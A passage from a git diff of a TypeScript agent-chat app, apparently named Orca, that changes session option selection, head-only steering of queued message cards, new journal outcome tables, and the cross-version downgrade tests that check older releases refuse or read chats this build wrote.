older requests cannot resurrect a lock. + return controller.isPending(receipt.operation.key) ? receipt.operation.key : null + }, + detach(): void { + attachment += 1 + receipt = undefined + }, + async setOption(id: string, value: SessionOptionValue): Promise { + const context = read() + const { controller, view } = context + const encoded = encodeStructuredAgentSessionOptionValue(id, value) + const pending = + !context.providerStarting && + id !== AGENT_CHAT_PERMISSION_MODE_OPTION_ID && + controller.isPending(id) + if ( + !context.isCurrentContext() || + !context.ready || + !view.catalog || + encoded === null || + (id === AGENT_CHAT_PERMISSION_MODE_OPTION_ID && + value === 'own' && + !view.permissionOwnSupported) || + !canSetStructuredAgentSessionOption( + view, + id, + value, + context.snapshot, + context.ready, + pending + ) + ) { + return false + } + const issuedAttachment = attachment + const isCurrent = () => { + const current = read() + return ( + issuedAttachment === attachment && + context.isCurrentContext() && + current.controller === controller && + current.record === context.record + ) + } + // Notices follow the platform's presentation scope; a record reset on the same chat still reports. + const settled = (outcome: SelectionOutcome, presents: boolean) => { + if ( + (outcome.kind === 'refused' || outcome.kind === 'unknown') && + outcome.failure && + presents + ) { + context.presentFailure?.(outcome.failure) + } + if (context.revalidateOn === 'settled' || (outcome.kind === 'refused' && isCurrent())) { + context.revalidate() + } + } + if (context.hold) { + const held = context.hold(id, encoded, view) + // Held picks precede any presentation scope, so every refusal reports. + void held?.then((outcome) => settled(outcome, outcome.kind === 'refused')) + return held !== null + } + const presents = context.capturePresentation?.() + const model = structuredAgentSessionOptionPicks(view, { [id]: encoded })[0]?.modelId ?? null + const operation = controller.issue(id, encoded, model, undefined, (operation) => { + receipt = { + operation, + controller, + record: context.record, + providerStarting: context.providerStarting + } + }) + context.flush(isCurrent) + const outcome = await operation.result + settled(outcome, presents?.() ?? true) + return outcome.kind !== 'refused' + } + } +} diff --git a/src/shared/structured-agent-session-options.ts b/src/shared/structured-agent-session-options.ts index 9284e4329b7..59c9c552f39 100644 --- a/src/shared/structured-agent-session-options.ts +++ b/src/shared/structured-agent-session-options.ts @@ -70,7 +70,6 @@ export type StructuredAgentSessionOptionState = { reportedPermissionMode?: string | null permissionOwnSupported?: boolean | null reportedEffort?: string - pendingId: string | null listingInProgress?: boolean fastModeRestricted?: boolean } @@ -85,8 +84,7 @@ export function createStructuredAgentSessionOptionState( catalogSource: seedCatalog ? 'seed' : null, record: createStructuredAgentSessionOptionRecord(agent), acceptedInputSources: {}, - permissionMode: null, - pendingId: null + permissionMode: null } } @@ -258,14 +256,14 @@ export function commitStructuredAgentSessionOption( state = { ...state, reportedEffort: undefined } } if (id === AGENT_CHAT_PERMISSION_MODE_OPTION_ID) { - return { ...state, permissionMode: value, reportedPermissionMode: undefined, pendingId: null } + return { ...state, permissionMode: value, reportedPermissionMode: undefined } } if (!state.catalog) { return state } const decoded = decodeStructuredAgentSessionOptionValue(id, value) if (decoded === null) { - return { ...state, pendingId: null } + return state } // Keep other picks after a model change; the host reconciles independent values. state.record.values[id] = { value: decoded, source: 'dispatched' } @@ -274,8 +272,7 @@ export function commitStructuredAgentSessionOption( acceptedInputSources: state.acceptedInputSources === undefined ? undefined - : { ...state.acceptedInputSources, [id]: origin }, - pendingId: null + : { ...state.acceptedInputSources, [id]: origin } } } diff --git a/src/shared/structured-agent-session-permission-option.test.ts b/src/shared/structured-agent-session-permission-option.test.ts index df2a2d9187d..b125fa4ca25 100644 --- a/src/shared/structured-agent-session-permission-option.test.ts +++ b/src/shared/structured-agent-session-permission-option.test.ts @@ -88,11 +88,7 @@ describe('the permission mode picker', () => { ) ).toBe(false) expect( - canSetStructuredAgentSessionOption( - { ...state, pendingId: 'permissionMode' }, - 'permissionMode', - 'own' - ) + canSetStructuredAgentSessionOption(state, 'permissionMode', 'own', undefined, true, true) ).toBe(false) expect( canSetStructuredAgentSessionOption( diff --git a/src/shared/structured-agent-session-queued-cards.test.ts b/src/shared/structured-agent-session-queued-cards.test.ts index 6c9927b2bd1..a634507f92c 100644 --- a/src/shared/structured-agent-session-queued-cards.test.ts +++ b/src/shared/structured-agent-session-queued-cards.test.ts @@ -2,7 +2,7 @@ import { describe, expect, it } from 'vitest' import type { AgentJournalSubmission } from './agent-session-journal-types' import type { AgentSessionQueuedMessage } from './agent-session-wire' import { - newestSteerableQueuedMessageCard, + headSteerableQueuedMessageCard, projectQueuedMessageCards, queuedMessagesQueuePause } from './structured-agent-session-queued-cards' @@ -173,7 +173,8 @@ describe('queued message cards', () => { ['text of a', false], ['/compact', true] ]) - expect(newestSteerableQueuedMessageCard(cards)).toBeNull() + // A command at the head steers nothing, and the chord never reaches past it. + expect(headSteerableQueuedMessageCard([cards[1]!, cards[0]!])).toBeNull() // While the agent works it offers no send; a message card is unaffected. const working = projectQueuedMessageCards([draft('a', 1), compact], [], { ...IDLE, @@ -182,4 +183,13 @@ describe('queued message cards', () => { expect(working.map((card) => card.waitsForAgent ?? false)).toEqual([false, true]) expect(cards[1]).not.toHaveProperty('waitsForAgent') }) + + it('the steer chord takes the head card only, and nothing when the head cannot steer', () => { + const cards = projectQueuedMessageCards([draft('a', 1), draft('b', 2)], [], IDLE) + expect(headSteerableQueuedMessageCard(cards)?.messageId).toBe('a') + for (const hold of ['sending', 'paused', 'returned'] as const) { + expect(headSteerableQueuedMessageCard([{ ...cards[0]!, hold }, cards[1]!])).toBeNull() + } + expect(headSteerableQueuedMessageCard([])).toBeNull() + }) }) diff --git a/src/shared/structured-agent-session-queued-cards.ts b/src/shared/structured-agent-session-queued-cards.ts index 0ead2a2773f..13ccd9ad952 100644 --- a/src/shared/structured-agent-session-queued-cards.ts +++ b/src/shared/structured-agent-session-queued-cards.ts @@ -150,6 +150,14 @@ export function structuredAgentSessionQueueEnabled( ) } +/** A send's alternate (Cmd/Ctrl+Enter, the phone's hold menu) does the other thing, only while the agent works and no Stop is ending its turn. */ +export function structuredAgentSessionFollowUpsQueue( + followUpsQueue: boolean, + send: { alternate?: boolean; isWorking: boolean; stopping: boolean } +): boolean { + return send.alternate && send.isWorking && !send.stopping ? !followUpsQueue : followUpsQueue +} + /** A returned card, or one whose own send failed, needs the person; the rest wait their turn. */ export function queuedMessageCardNeedsAttention( card: Pick @@ -170,12 +178,12 @@ export function queuedMessageCardSteers(card: QueuedMessageCard): boolean { return card.hold !== 'paused' && card.hold !== 'returned' && !card.command } -/** The card Cmd/Ctrl+Enter steers: the newest one, unless it is a command, which never steers. */ -export function newestSteerableQueuedMessageCard( +/** The card Cmd/Ctrl+Shift+Enter steers: the head only, never one behind it. */ +export function headSteerableQueuedMessageCard( cards: readonly QueuedMessageCard[] ): QueuedMessageCard | null { - const newest = cards.at(-1) - return newest && !newest.command && newest.hold !== 'sending' ? newest : null + const head = cards[0] + return head && head.hold !== 'sending' && queuedMessageCardSteers(head) ? head : null } /** The card's line: its text, or for a card of images alone, the image's name or their count. */ diff --git a/src/shared/structured-agent-session-selection-operations.ts b/src/shared/structured-agent-session-selection-operations.ts index 0a28e09d254..64a9ec03552 100644 --- a/src/shared/structured-agent-session-selection-operations.ts +++ b/src/shared/structured-agent-session-selection-operations.ts @@ -146,7 +146,8 @@ export function createStructuredSessionSelectionController( key: string, value: string, model: string | null, - offers?: (key: string, value: string) => boolean + offers?: (key: string, value: string) => boolean, + onIssue?: (operation: SelectionOperation) => void ): SelectionOperation { if (!isCurrent()) { const outcome = { kind: 'superseded' } as const @@ -189,6 +190,8 @@ export function createStructuredSessionSelectionController( pendingCounts.set(key, (pendingCounts.get(key) ?? 0) + 1) operations.set(operation.identity, operation) latest.set(key, operation.identity) + // Publish issue facts before subscribers project this pending operation. + onIssue?.(operation) notify() return operation }, diff --git a/src/shared/wsl-move/wsl-move-storage-dispositions.ts b/src/shared/wsl-move/wsl-move-storage-dispositions.ts index c07f2b06d9f..ee7e01843eb 100644 --- a/src/shared/wsl-move/wsl-move-storage-dispositions.ts +++ b/src/shared/wsl-move/wsl-move-storage-dispositions.ts @@ -117,6 +117,7 @@ export const SQLITE_SCHEMA_FILE_DATABASES: Record = { 'agent-session-journal', 'src/main/native-chat/agent-session-journal/command-receipt-schema.ts': 'agent-session-journal', 'src/main/native-chat/agent-session-journal/journal-database-schema.ts': 'agent-session-journal', + 'src/main/native-chat/agent-session-journal/journal-outcome-format.ts': 'agent-session-journal', 'src/main/native-chat/agent-session-journal/journal-pi-active-branch.ts': 'pi-branch-import', 'src/main/native-chat/agent-session-journal/queued-message-schema.ts': 'agent-session-journal', 'src/main/persistence/profile-state/profile-state-database-schema.ts': 'profile-state', @@ -160,6 +161,9 @@ export const SQLITE_TABLE_DISPOSITIONS: Record 'agent_session_attachment_claims', 'agent_session_attachment_sweeps', 'journal_imports', + 'journal_outcomes', + 'journal_outcome_epochs', + 'journal_outcome_generations', 'journal_repairs', 'journal_rows', 'journal_sessions', diff --git a/tests/e2e/cross-version-wire/agent-session-interrupted-tool-downgrade.unit.test.ts b/tests/e2e/cross-version-wire/agent-session-interrupted-tool-downgrade.unit.test.ts index ac2f88843ae..ff2fec58e5d 100644 --- a/tests/e2e/cross-version-wire/agent-session-interrupted-tool-downgrade.unit.test.ts +++ b/tests/e2e/cross-version-wire/agent-session-interrupted-tool-downgrade.unit.test.ts @@ -10,6 +10,7 @@ import { import type { AgentJournalItemIdentity } from '../../../src/shared/agent-session-journal-types' import { createTrackedJournalOpener } from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' import type { JournalRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-schema' +import type { JournalReadRow } from '../../../src/main/native-chat/agent-session-journal/journal-read-row' import { importReleaseCheckoutModule, materializeReleaseCheckout, @@ -32,10 +33,19 @@ type OldRunOutcome = ( options: { activeTurnIsWorking?: boolean } ) => { failedCallCount: number; succeeded: boolean } +// Old builds fold input rows; an outcome row here means the probe opened a converted chat by mistake. +function inputRows(rows: readonly JournalReadRow[]): JournalRow[] { + return rows.map((row) => { + if (row.kind === 'outcome') { + throw new Error('expected input rows') + } + return row + }) +} // Loads a real old build, including cold extraction and transforms. test('an older host and client read a call a stop cut short as the failure they always showed', async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-interrupted-tool-downgrade-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) try { // This build: a call a stop cut short, with the partial output it left. const journal = await journals.open({ @@ -67,7 +77,7 @@ test('an older host and client read a call a stop cut short as the failure they if (!since.ok) { throw new Error(`expected rows, got reset ${since.reset}`) } - const rows: JournalRow[] = since.rows + const rows = inputRows(since.rows) const current = journal.snapshot().items expect(current.map((item) => item.body)).toMatchObject([ { state: 'failed', endedAs: 'interrupted' }, diff --git a/tests/e2e/cross-version-wire/agent-session-newer-chat-refusal.unit.test.ts b/tests/e2e/cross-version-wire/agent-session-newer-chat-refusal.unit.test.ts index 8ad4e3781a6..5322b956e7c 100644 --- a/tests/e2e/cross-version-wire/agent-session-newer-chat-refusal.unit.test.ts +++ b/tests/e2e/cross-version-wire/agent-session-newer-chat-refusal.unit.test.ts @@ -27,7 +27,7 @@ import { } from './release-checkout' // Newer journals must yield the newer-Orca refusal to old clients, never damage wording. -// Unknown bodies remain writable here; also probe the older host’s handling of those rows. +// Unknown bodies refuse as a newer Orca's here; also probe the older host’s handling of those rows. const SUITE_TIMEOUT_MS = 180_000 // The last release that does not know the newer-Orca reason: its words fall back to the code's. const BEFORE_NEWER_REASON_REF = 'v1.4.218' @@ -58,7 +58,7 @@ type NoticeEnglish = (parts: unknown[]) => string type IsFinal = (refusal: AgentSessionRefusalReference | undefined) => boolean let directory: string -const journals = createTrackedJournalOpener() +const journals = createTrackedJournalOpener({ legacyInputs: true }) beforeAll(() => { directory = mkdtempSync(join(tmpdir(), 'orca-newer-chat-xv-')) @@ -191,7 +191,7 @@ describe('a chat a newer Orca saved, across versions', () => { ['body kind', NEWER_BODY_KIND], ['plan subject kind', NEWER_NESTED_LITERAL] ])( - "this build keeps a newer build's %s and stays writable; a build before it deletes it", + "this build refuses a newer build's %s as a newer Orca's and keeps it; a build before it deletes it", async (_value, body) => { rmSync(directory, { recursive: true, force: true }) directory = mkdtempSync(join(tmpdir(), 'orca-newer-chat-xv-')) @@ -201,8 +201,9 @@ describe('a chat a newer Orca saved, across versions', () => { revision: 1, body }) - const reopened = await journals.open({ identity: IDENTITY, stateDirectory: directory }) - expect(reopened.snapshot().items).toHaveLength(3) + await expect( + journals.open({ identity: IDENTITY, stateDirectory: directory }) + ).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) await journals.closeAll() expect(await storedRows()).toEqual(rows) diff --git a/tests/e2e/cross-version-wire/agent-session-outcome-chat-downgrade.unit.test.ts b/tests/e2e/cross-version-wire/agent-session-outcome-chat-downgrade.unit.test.ts new file mode 100644 index 00000000000..dfeaab76920 --- /dev/null +++ b/tests/e2e/cross-version-wire/agent-session-outcome-chat-downgrade.unit.test.ts @@ -0,0 +1,300 @@ +import { createHash } from 'node:crypto' +import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { isDeepStrictEqual } from 'node:util' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentSessionJournalIdentity, + type AgentSessionJournalProviderHandle +} from '../../../src/shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../src/shared/agent-session-provider-handle-encoding' +import Database from '../../../src/main/sqlite/sync-database' +import { + closeTestJournalHostDatabase, + createTrackedJournalOpener, + liveTestJournalRows, + openTestJournalHostDatabase, + SAVED_BY_NEWER_ORCA +} from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' +import { journalOutcomeSource } from '../../../src/main/native-chat/agent-session-journal/journal-outcome-format' +import { restoreJournal } from '../../../src/main/native-chat/agent-session-journal/journal-open' +import type { JournalStoredRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-table' +import type { AgentSessionJournal } from '../../../src/main/native-chat/agent-session-journal/journal-store' +import { + importReleaseCheckoutModule, + materializeReleaseCheckout, + releaseModuleExport, + resolveBaselineReleaseRef, + resolveRecentStableReleaseRefs +} from './release-checkout' + +// A chat this build has written, new or an existing one whose input rows an older build wrote, is +// refused by each of the two newest releases (the downgrade window) as a newer Orca's, which leaves +// every byte as it was; a build from before that reason opens it read-only, as it does any newer +// row, and changes no saved row (it only adds a table of its own). The existing chat's input rows +// stay byte for byte throughout, and this build reads the whole chat again afterwards. +const SUITE_TIMEOUT_MS = 180_000 +// A main build sharing this database and schema; the releases in the window are probed as well. +const WRITABLE_BASELINE_REF = '3727100cc9dbcea6201f8a3e506676a3c4b53b18' +const JOURNAL = 'src/main/native-chat/agent-session-journal' + +const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-outcome-chat', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} +/** The identity as builds before the neutral provider handle took it. */ +const OLDER_HANDLE: AgentSessionJournalProviderHandle = { kind: 'codex', threadId: 'thread-1' } +const OLDER_IDENTITY = { ...IDENTITY, providerHandle: OLDER_HANDLE } + +type ReleasedJournal = { + snapshot: () => { items: unknown[] } + appendItem: (identity: unknown, body: unknown, options: unknown) => Promise +} +type ReleasedOpener = { + open: (options: { identity: unknown; stateDirectory: string }) => Promise + closeAll: () => Promise +} + +let directory: string +beforeEach(() => { + directory = mkdtempSync(join(tmpdir(), 'orca-outcome-chat-xv-')) +}) +afterEach(() => { + rmSync(directory, { recursive: true, force: true }) +}) + +const appendStatus = (journal: Pick, ordinal: number) => + journal.appendItem( + { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal }, + { kind: 'status', text: `item ${ordinal}` }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + +/** A chat this build writes: new, or existing with three input rows of items an older build wrote + * before this build's first write. Returns that prefix as stored. */ +async function savedChat(kind: 'new' | 'existing'): Promise { + let prefix: JournalStoredRow[] = [] + if (kind === 'existing') { + const older = createTrackedJournalOpener({ legacyInputs: true }) + const journal = await older.open({ identity: IDENTITY, stateDirectory: directory }) + for (let ordinal = 0; ordinal < 3; ordinal++) { + await appendStatus(journal, ordinal) + } + await older.closeAll() + prefix = liveTestJournalRows(openTestJournalHostDatabase(directory).db, IDENTITY.sessionId) + expect(prefix).toHaveLength(4) + } + const journals = createTrackedJournalOpener() + const journal = await journals.open({ identity: IDENTITY, stateDirectory: directory }) + for (let ordinal = 3; ordinal < 6; ordinal++) { + await appendStatus(journal, ordinal) + } + await journals.closeAll() + const database = openTestJournalHostDatabase(directory) + expect(journalOutcomeSource(database.db, IDENTITY.sessionId, journal.epoch)).toMatchObject({ + prefix: prefix.length + }) + const rows = liveTestJournalRows(database.db, IDENTITY.sessionId) + expect(rows.slice(0, prefix.length)).toEqual(prefix) + // One appended marker, after the prefix, where outcome records begin. + expect(rows.map((row) => row.seq)).toEqual([...prefix.map((row) => row.seq), prefix.length + 1]) + await closeTestJournalHostDatabase(directory) + return prefix +} + +/** The database file and its log, by content; SQLite's shared-memory index is not data. */ +function databaseBytes(): Record { + return Object.fromEntries( + ['agent-session-journal.db', 'agent-session-journal.db-wal'] + .filter((file) => existsSync(join(directory, file))) + .map((file) => [ + file, + createHash('sha256') + .update(readFileSync(join(directory, file))) + .digest('hex') + ]) + ) +} + +/** Every table's schema and rows, in a stable order. */ +function savedContent(): Map { + const db = new Database(join(directory, 'agent-session-journal.db'), { readonly: true }) + try { + const content = new Map() + for (const { name, sql } of db + .prepare("SELECT name, sql FROM sqlite_schema WHERE type = 'table' ORDER BY name") + .all()) { + content.set(String(name), { + sql, + rows: db.prepare(`SELECT * FROM "${String(name)}" ORDER BY rowid`).all() + }) + } + return content + } finally { + db.close() + } +} + +describe('a chat this build wrote, opened by a shipped build', () => { + it.each([ + ['new', 'the newest release'], + ['existing', 'the newest release'], + ['new', 'the release before it'], + ['existing', 'the release before it'], + ['new', 'the writable baseline'], + ['existing', 'the writable baseline'] + ] as const)( + 'keeps a %s chat from %s, leaving every byte as it was, and reads whole again after', + async (kind, build) => { + const prefix = await savedChat(kind) + const before = databaseBytes() + const saved = savedContent() + expect(before['agent-session-journal.db']).toBeDefined() + const inWindow = build !== 'the writable baseline' + const checkout = await materializeReleaseCheckout( + build === 'the newest release' + ? resolveBaselineReleaseRef() + : inWindow + ? resolveRecentStableReleaseRefs(2)[1]! + : WRITABLE_BASELINE_REF + ) + const support = await importReleaseCheckoutModule( + checkout, + `${JOURNAL}/journal-host-database-test-support.ts` + ) + const older = releaseModuleExport<() => ReleasedOpener>( + support, + 'createTrackedJournalOpener' + )() + const close = releaseModuleExport<(stateDirectory: string) => void>( + support, + 'closeTestJournalHostDatabase' + ) + try { + if (inWindow) { + const failure = await older.open({ identity: IDENTITY, stateDirectory: directory }).then( + () => null, + (error: unknown) => error + ) + expect(failure).toMatchObject(SAVED_BY_NEWER_ORCA) + } else { + const opened = await older.open({ identity: OLDER_IDENTITY, stateDirectory: directory }) + // It latches read-only at the marker, having read only the rows before it. + expect(opened.snapshot().items).toHaveLength(Math.max(prefix.length - 1, 0)) + await expect( + opened.appendItem( + { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal: 9 }, + { kind: 'status', text: 'from the older build' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + ).rejects.toMatchObject({ code: 'journal_read_only' }) + } + } finally { + await older.closeAll() + close(directory) + } + if (inWindow) { + expect(databaseBytes()).toEqual(before) + } else { + const after = savedContent() + expect( + [...saved].filter(([name, content]) => !isDeepStrictEqual(after.get(name), content)) + ).toEqual([]) + } + // Upgraded again, this build reads the prefix and its records, the rows still as they were. + const database = openTestJournalHostDatabase(directory) + try { + const reopened = restoreJournal(database.db, IDENTITY.sessionId) + expect(reopened).toMatchObject({ newer: null, damage: null }) + expect(reopened?.state.items.size).toBe(kind === 'existing' ? 6 : 3) + const rows = liveTestJournalRows(database.db, IDENTITY.sessionId) + expect(rows.slice(0, prefix.length)).toEqual(prefix) + } finally { + await closeTestJournalHostDatabase(directory) + } + }, + SUITE_TIMEOUT_MS + ) +}) + +// Checks out and loads the newest release's own journal code, which takes well past the default. +it( + 'leaves an existing chat whose first write from this build failed as it was, so the newest release opens and writes it', + async () => { + const older = createTrackedJournalOpener({ legacyInputs: true }) + const seeded = await older.open({ identity: IDENTITY, stateDirectory: directory }) + for (let ordinal = 0; ordinal < 3; ordinal++) { + await appendStatus(seeded, ordinal) + } + await older.closeAll() + const prefix = liveTestJournalRows( + openTestJournalHostDatabase(directory).db, + IDENTITY.sessionId + ) + await closeTestJournalHostDatabase(directory) + + const journals = createTrackedJournalOpener() + const journal = await journals.open({ identity: IDENTITY, stateDirectory: directory }) + const database = openTestJournalHostDatabase(directory) + // The first write fails after its marker is in: at a record, then at COMMIT. + database.db.exec(`CREATE TEMP TRIGGER failure BEFORE INSERT ON main.journal_outcomes + BEGIN SELECT RAISE(ABORT, 'record failure'); END`) + await expect(appendStatus(journal, 3)).rejects.toThrow('record failure') + database.db.exec('DROP TRIGGER failure') + const exec = database.db.exec.bind(database.db) + const commit = vi.spyOn(database.db, 'exec').mockImplementation((sql) => { + if (sql === 'COMMIT') { + throw new Error('commit failure') + } + exec(sql) + }) + await expect(appendStatus(journal, 4)).rejects.toThrow('commit failure') + commit.mockRestore() + expect(journalOutcomeSource(database.db, IDENTITY.sessionId, journal.epoch)).toBeNull() + expect( + database.db.prepare('SELECT COUNT(*) AS n FROM journal_outcome_generations').get()?.n + ).toBe(0) + expect(liveTestJournalRows(database.db, IDENTITY.sessionId)).toEqual(prefix) + await journals.closeAll() + + const checkout = await materializeReleaseCheckout(resolveBaselineReleaseRef()) + const support = await importReleaseCheckoutModule( + checkout, + `${JOURNAL}/journal-host-database-test-support.ts` + ) + const release = releaseModuleExport<() => ReleasedOpener>( + support, + 'createTrackedJournalOpener' + )() + try { + const opened = await release.open({ identity: IDENTITY, stateDirectory: directory }) + expect(opened.snapshot().items).toHaveLength(3) + await opened.appendItem( + { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal: 9 }, + { kind: 'status', text: 'from the release' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + } finally { + await release.closeAll() + releaseModuleExport<(stateDirectory: string) => void>( + support, + 'closeTestJournalHostDatabase' + )(directory) + } + const reopened = openTestJournalHostDatabase(directory) + try { + expect(restoreJournal(reopened.db, IDENTITY.sessionId)?.state.items.size).toBe(4) + expect(liveTestJournalRows(reopened.db, IDENTITY.sessionId).slice(0, prefix.length)).toEqual( + prefix + ) + } finally { + await closeTestJournalHostDatabase(directory) + } + }, + SUITE_TIMEOUT_MS +) diff --git a/tests/e2e/cross-version-wire/agent-session-stop-event-downgrade.unit.test.ts b/tests/e2e/cross-version-wire/agent-session-stop-event-downgrade.unit.test.ts index f3a677c6cdc..4f5cb4f7c58 100644 --- a/tests/e2e/cross-version-wire/agent-session-stop-event-downgrade.unit.test.ts +++ b/tests/e2e/cross-version-wire/agent-session-stop-event-downgrade.unit.test.ts @@ -21,6 +21,7 @@ import { SAVED_BY_NEWER_ORCA } from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' import type { JournalRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-schema' +import type { JournalReadRow } from '../../../src/main/native-chat/agent-session-journal/journal-read-row' import { importReleaseCheckoutModule, materializeReleaseCheckout, @@ -59,11 +60,20 @@ const OLDER_IDENTITY: OlderJournalIdentity = { providerHandle: { kind: 'codex', threadId: 'thread-1' } } +// Old builds fold input rows; an outcome row here means the probe opened a converted chat by mistake. +function inputRows(rows: readonly JournalReadRow[]): JournalRow[] { + return rows.map((row) => { + if (row.kind === 'outcome') { + throw new Error('expected input rows') + } + return row + }) +} test.each(['v1.4.219', 'v1.4.220', WRITABLE_BASELINE_REF])( '%s replays current raw rows with the unconfirmed failure intact', async (ref) => { const directory = mkdtempSync(join(tmpdir(), 'orca-stop-note-raw-skew-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) try { const journal = await journals.open({ identity: IDENTITY, stateDirectory: directory }) const turn = { provider: 'orca', clientMessageId: 'turn-raw-skew' } as const @@ -103,10 +113,10 @@ test.each(['v1.4.219', 'v1.4.220', WRITABLE_BASELINE_REF])( 'applyJournalRow' ) const old = create(IDENTITY.sessionId, journal.epoch) - since.rows.forEach((row) => fold(old, row)) + inputRows(since.rows).forEach((row) => fold(old, row)) expect(old.items.get(agentJournalItemKey(note))).toMatchObject({ body: unconfirmed }) const current = createJournalReducerState(IDENTITY.sessionId, journal.epoch) - since.rows.forEach((row) => applyJournalRow(current, row)) + inputRows(since.rows).forEach((row) => applyJournalRow(current, row)) expect(current.items.get(agentJournalItemKey(note))?.body).toEqual(unconfirmed) expect( renderJournalState(current).items.find((item) => item.itemId === agentJournalItemKey(note)) @@ -137,7 +147,7 @@ type OldReplay = { // Both downgrade probes load real old builds, including cold extraction and transforms. test("an older build keeps every row around a Stop's event, a Resume and a reopen mark, and folds the rows after them", async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-stop-event-downgrade-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) try { // This build: history, a person's Stop, a Resume, then more history. const journal = await journals.open({ identity: IDENTITY, stateDirectory: directory }) @@ -253,7 +263,7 @@ function storedRows(directory: string): string[] { test("an older build opens this build's journal writable and appends to it; the pause survives the round trip", async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-stop-event-writable-downgrade-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) const itemIds = (journal: Pick) => journal.snapshot().items.map((entry) => entry.itemId) try { @@ -301,7 +311,7 @@ test("an older build opens this build's journal writable and appends to it; the // Move the pinned baseline once a released reader preserves them. test("this build keeps a newer build's row kind and refuses the load; a build before it deletes it", async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-newer-kind-downgrade-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) const newerKinds = () => storedRows(directory).filter((row) => row.includes('"future-mark"')) try { const scope = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } diff --git a/tests/e2e/cross-version-wire/cross-version-agent-session-model-options.unit.test.ts b/tests/e2e/cross-version-wire/cross-version-agent-session-model-options.unit.test.ts index a1bdbd55ba2..de75216d1f4 100644 --- a/tests/e2e/cross-version-wire/cross-version-agent-session-model-options.unit.test.ts +++ b/tests/e2e/cross-version-wire/cross-version-agent-session-model-options.unit.test.ts @@ -29,7 +29,7 @@ afterEach(async () => { }) describe('selected model reports across released client and host versions', () => { - it('refuses an absent model only for an older client against the new host', async () => { + it('projects a labelled empty observation for an older client against the new host', async () => { const host = structuredHostStub(SESSION, 'folder-options') const report = { models: [], current: { effort: 'off' } } host.readOptions.mockResolvedValue(report) @@ -50,7 +50,15 @@ describe('selected model reports across released client and host versions', () = clientCapabilities: legacy } ) - ).toMatchObject([{ ok: false, error: { message: 'structured_agent_session_unsupported' } }]) + ).toMatchObject([ + { + ok: true, + result: { + current: { model: '', effort: 'off' }, + models: [{ id: '', label: 'Model not reported', isDefault: false, efforts: [] }] + } + } + ]) expect( await callBuild( current, diff --git a/tests/e2e/cross-version-wire/cross-version-stop-note-scenarios.ts b/tests/e2e/cross-version-wire/cross-version-stop-note-scenarios.ts index d99b91336c2..b6886719eb7 100644 --- a/tests/e2e/cross-version-wire/cross-version-stop-note-scenarios.ts +++ b/tests/e2e/cross-version-wire/cross-version-stop-note-scenarios.ts @@ -68,10 +68,11 @@ export function describeReleasedStopNoteProjection(port: ScenarioPort): void { const after = reduce(before, replies) expect(render(after)).toEqual({ type: 'text', text: ordinary.text }) expect(rig.journal.itemBody(noteId)).toEqual(unconfirmed) + // The turn end is one saved sequence that touches only the turn, whichever writer made it. const since = rig.journal.readSince(before.cursor!) expect(since).toMatchObject({ ok: true, - rows: [expect.objectContaining({ kind: batch ? 'lifecycle-batch' : 'item' })] + rows: [expect.objectContaining({ kind: 'outcome', itemIds: [turnItemId] })] }) } ) diff --git a/tests/e2e/cross-version-wire/host-model-catalog-released-phone.unit.test.ts b/tests/e2e/cross-version-wire/host-model-catalog-released-phone.unit.test.ts index e6ac6978706..b077d427fb7 100644 --- a/tests/e2e/cross-version-wire/host-model-catalog-released-phone.unit.test.ts +++ b/tests/e2e/cross-version-wire/host-model-catalog-released-phone.unit.test.ts @@ -123,6 +123,12 @@ it.each(['success', 'budget'] as const)( }) setStructuredAgentSessionHost( Object.assign(hostStub(), { + readModelCatalog: async (params: Parameters[0]) => { + if (!params.savedOnly) { + void service.demand(params) + } + return service.read(params) + }, deps: { modelCatalog: service, store: { getRecord: () => undefined, getConversation: () => undefined }, diff --git a/tests/e2e/cross-version-wire/kept-card-downgrade.unit.test.ts b/tests/e2e/cross-version-wire/kept-card-downgrade.unit.test.ts index 56f88602e2c..8bf07d39196 100644 --- a/tests/e2e/cross-version-wire/kept-card-downgrade.unit.test.ts +++ b/tests/e2e/cross-version-wire/kept-card-downgrade.unit.test.ts @@ -94,7 +94,8 @@ async function acceptPersonSend( test("an older build reads the send this build's quit left queued, its source included, and settles it", async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-kept-leftover-downgrade-')) - const journals = createTrackedJournalOpener() + // A chat this build has not converted keeps input rows, so an older build can still read it. + const journals = createTrackedJournalOpener({ legacyInputs: true }) try { const quitting = await journals.open({ identity: IDENTITY, stateDirectory: directory }) await acceptPersonSend(quitting, 'left-queued') diff --git a/tests/e2e/cross-version-wire/paired-agent-session-option-persistence.unit.test.ts b/tests/e2e/cross-version-wire/paired-agent-session-option-persistence.unit.test.ts new file mode 100644 index 